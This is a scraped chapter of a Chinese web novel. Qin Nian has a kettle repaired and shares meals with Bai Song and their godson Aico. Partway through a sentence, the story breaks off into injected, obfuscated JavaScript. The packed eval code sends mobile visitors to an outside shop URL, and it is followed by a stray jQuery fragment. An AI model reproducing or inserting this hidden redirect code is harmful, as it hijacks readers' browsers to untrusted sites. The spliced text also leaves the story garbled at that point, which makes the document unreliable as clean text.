洗漱完,白宋领着Aico来餐厅吃早饭,看见桌上的豆浆油条,视线停顿半秒。
抬眼问秦念:“为什么会买这些?”
秦念从冰箱拿出一袋中药液,正要去厨房加热,闻言停下脚步说:“刚好在早点铺碰到你堂妹了。她说你喜欢吃豆浆油条,就买了。”
“你怎么会认识她?”
“她听章奶奶说你把房子租给我了,特意跑来看过。”
想起那日掀开窗帘,出现在眼前的笑脸,秦念又补了句:“挺可爱的。”
Aico已经夹起一个小笼包在吃了。
视线落在秦念手中那袋不明液体上,好奇道:“干妈,你拿的那是什么东西?”
秦念说:“调理肠胃的中药。”
“为什么要调理?”
“因为生病了呗。”
“你生病了?”
“嗯。”
Aico原本在桌下晃动的双脚骤然停了下来。
他满嘴油渍地盯着秦念,沉默片刻,小大人似的说:“那还得照顾我,真是辛苦你了。”
秦念跟白宋不同,这些年她一直在申城生活,跟小孩儿见面的机会自然也就比较多。
这些甜言蜜语平时没少听,早就已经免疫了。
她平静道:“只要你乖乖的,别捣乱,别让我操心,就不辛苦。”
Aico点头答应:“我知道了。”
一口气喝掉一袋中药液,秦念困得眼睛有些睁不开了,回房间睡了三个多小时,醒来已经是中午十一点十分。
白宋系着围裙在厨房做饭。据说他的厨艺是得了他母亲的真传,菜做得确实不错。
以前两人合租的时候,只要不忙,他都会亲自下厨,秦念没少蹭饭。
不过她从不白蹭,每个月工资到手后,也会请白宋出去下馆子。
所以那一年的时光,两人相处的分外和谐。
“Aico去哪儿了?”秦念问。
锅里的油热了,白宋把去了壳的虾仁倒进去翻炒,说:“白云街。”
“他一个人在外面玩,安全吗?”
“农场的治安没什么可怀疑的。”
秦念能听懂他这话是什么意思。
这里既有监狱,又有派出所,另外还有三个武警部队驻扎于此,人贩子是不可能有那个胆子在太岁头上动土的。
不过她还是有点不放心,回房间拿了把遮阳伞要出去找找。
经过餐厅,瞥眼看见那个坏掉的电热水壶,顺手给带上了。
*
Aico没走远,的确在白云街跟几个小孩儿一起玩。
确定他人是安全的,秦念没过去打扰,直接从白云街后面的菜市场绕到云村,再从云村旁边的小型公交停车场来到揽风路。
平安旅馆隔壁就是老陈电器维修部,门口摆放着几个旧冰箱、旧冰柜和旧空调,空气中弥漫着淡淡的机油味。
店里也被各种家电和维修工具给塞得满满当当,只留下一条窄窄的过道走路。
秦念走进去,见里面坐着一个老头,穿红色T恤,正在跟店主陈师傅和另一位身份不明的年轻男人讲述着什么事情。
年轻男人听完,双手叉腰,白眼都快翻到天上去了,“就接个一米长的电线,收你七百块钱?他怎么不去抢呢!”
“当时都给我气哭了。”老头摇摇头说:“没办法,人老了,又没有子女,什么事情都要找人来干。那他干完活,又不能不给钱,你说是吧?”
“你怎么不过来找我师父帮你接呢?”年轻男人端起杯子喝了口水,“这点小忙,我师父一般都不收钱。”
说完见有人进来,“有事吗?”
这间修理部只有一个卷帘门,拉上去,就没有阻挡了。外面的热浪一波接一波涌进来,头顶上的吊扇根本就起不到什么作用。
屋内的空气又闷又燥,秦念抬起右手说:“水壶坏了,拿过来修一下。”
“杨明。”陈师傅一抬下巴,“帮她看看是耦合器坏了还是发热盘坏了。”
杨明“哦”了声,把东西接过去。
秦念问:“有什么讲究吗?”
“耦合器坏了,没有工具你自己不方便更换,发热盘就简单多了,直接从网上买一个,很便宜,才几块钱。”
他指着一旁的板凳说:“坐一会儿吧。”
秦念在板凳上坐下,有点烫屁股。
陈师傅继续跟老头闲聊:“农场不是很流行认干儿子干女儿吗?您怎么不认一个呢?”
“我不认那。”老头摆摆手说:“没有真感情,都是冲着钱来的。住我对门的老宋认了一个干儿子,一开始说得好好的,会给他养老。结果四十多万养老金骗走了,给他小孩儿买了车子,老宋死的时候社区给他打电话,看都不过去看一眼。一点良心没有。”
陈师傅笑笑,“那是挺没良心的。”
“我看得开,这么多年也没想着找老伴。”
老头说:“农场老太婆人家自己就有退休金,一个月几千块钱根本花不完,谁愿意伺候人呢?愿意伺候人的都是附近农村人,自己男人死了,家里几个小孩压力大,就把主意打到我们这些农场老头身上来了。活着的时候有退休金,死了还能拿到几万块的丧葬费,这多划算?全是为了钱,也不会用心照顾你的,打人骂人的都有,没什么意思。”
“那您每个月的退休金肯定也花不完吧?”杨明笑着问:“又没个儿女继承财产,以后打算怎么处理呢?”
“充公嘛。”老头铿锵有力地回答:“本来就是国家发的,花不完再还给国家好了。”
陈师傅:“有道理。”
“我看出来了,你是个好人。”老头缓缓起身,拎起桌上已经修好的电饭煲说:“人品好,实事求是,不坑我们这些老年人。”
他走后,秦念的电热水壶也修好了,换了个耦合器,收她十块钱。
用杨明的话来说,如果是发热盘坏了,他们都不会接这单生意。
自己在网上买一个,十块钱都不用。
别说。
这陈师傅看着也确实面善。
*
秦念拎着修好的热水壶回到家,白宋已经把做好的菜都端上桌了。
一道鲫鱼豆腐汤,一道虾仁炒菌菇,还有个清炒西蓝花。虽然看着比较清淡,但很有卖相,一点不比饭店大厨做出来的差。
白宋看着她手上的东西
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744505|209221||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,边解围裙边问:“修好了?”
“嗯。”秦念举起来看看,“维修费十块钱,确实比重新买一个划算。”
她在购物平台看过,这个牌子的电热水壶,买个新的得多花一百块钱。
白宋又问:“Aico在不在白云街?”
“在。”
“我去叫他回来吃饭。”
刚要出门,小孩儿自己满头大汗地跑回来了,身边还跟着一男一女两个小朋友。
“看!这就是我家。”Aico把人带进屋里,一脸骄傲地指着秦念和白宋说:“这是我妈妈,这是我爸爸,是不是很美很帅?”
“还真是。”小姑娘直勾勾地盯着秦念,有些害羞地说:“你妈妈真漂亮,比吴浩轩妈妈漂亮一百倍。”
“不是一百倍。”Aico纠正,“是一千倍!”
秦念:“?”
这些熊孩子。
她问:“吴浩轩是谁?”
“吴浩轩是水果店阿姨的儿子。”Aico说:“他吹牛说他妈妈是云淮最漂亮的人,我就说不是,我妈妈才是最漂亮的。然后就带他们过来看看。”
“那吴浩轩呢?”
“他不来,我猜他是没有勇气面对现实。”
“你爸爸真的也好帅啊。”小男孩儿凑到Aico耳边,低声说:“像电视里的明星。”
Aico看看白宋,昂首挺胸道:“那当然,我从来不吹牛!”
不管是干爸还是亲爸,都帅呆了!
不过最帅的嘛……还是他自己。
宇宙超级无敌小帅哥!
两个小朋友凑完热闹就回去了,秦念拿来一块湿毛巾,帮Aico把头上和脸上的汗给擦干净,然后用香皂搓一搓,拿到院子里晾晒。
等再回到餐厅,白宋递给她一碗香气扑鼻的鲫鱼汤,奶白色,上面飘着翠绿的葱花。
低头喝上一口——
鲜美!
Aico也要喝,白宋给他也盛了一碗。
秦念扭头看着小馋猫问:“刚才为什么要撒谎?就为了赢过吴浩轩?”
Aico抬起头,懵懵地回答:“我没有撒谎啊。”
“怎么没有撒谎。”秦念说:“我们是你干爸干妈,又不是你亲爸亲妈。”
“那又怎么样。”Aico不以为然道:“干爸干妈,也是爸和妈!要不然我们怎么会坐在一起吃饭呢?”
“……”
秦念无言以对,望向白宋,“你怎么不说话?”
难得,白宋没有批评小孩儿,而是一脸淡然地认同道:“他说的有道理。”
“真的吗?”Aico眼中闪烁起明亮的光。
他发誓,这绝对是干爸第一次夸他!
白宋掀起眼皮,默默注视他好几秒。
Aico对上他幽深的眸子,看不懂这是什么意思,脸上兴奋的表情又逐渐褪去。
抿着唇,眨巴两下眼睛,心脏扑通扑通地跳动着。
整个餐厅透着一股诡异的安静,Aico捏紧筷子,往嘴里扒了口饭。
这时,又听白宋说:“给你妈夹个虾仁吃。”
秦念:“?”
搞什么飞机?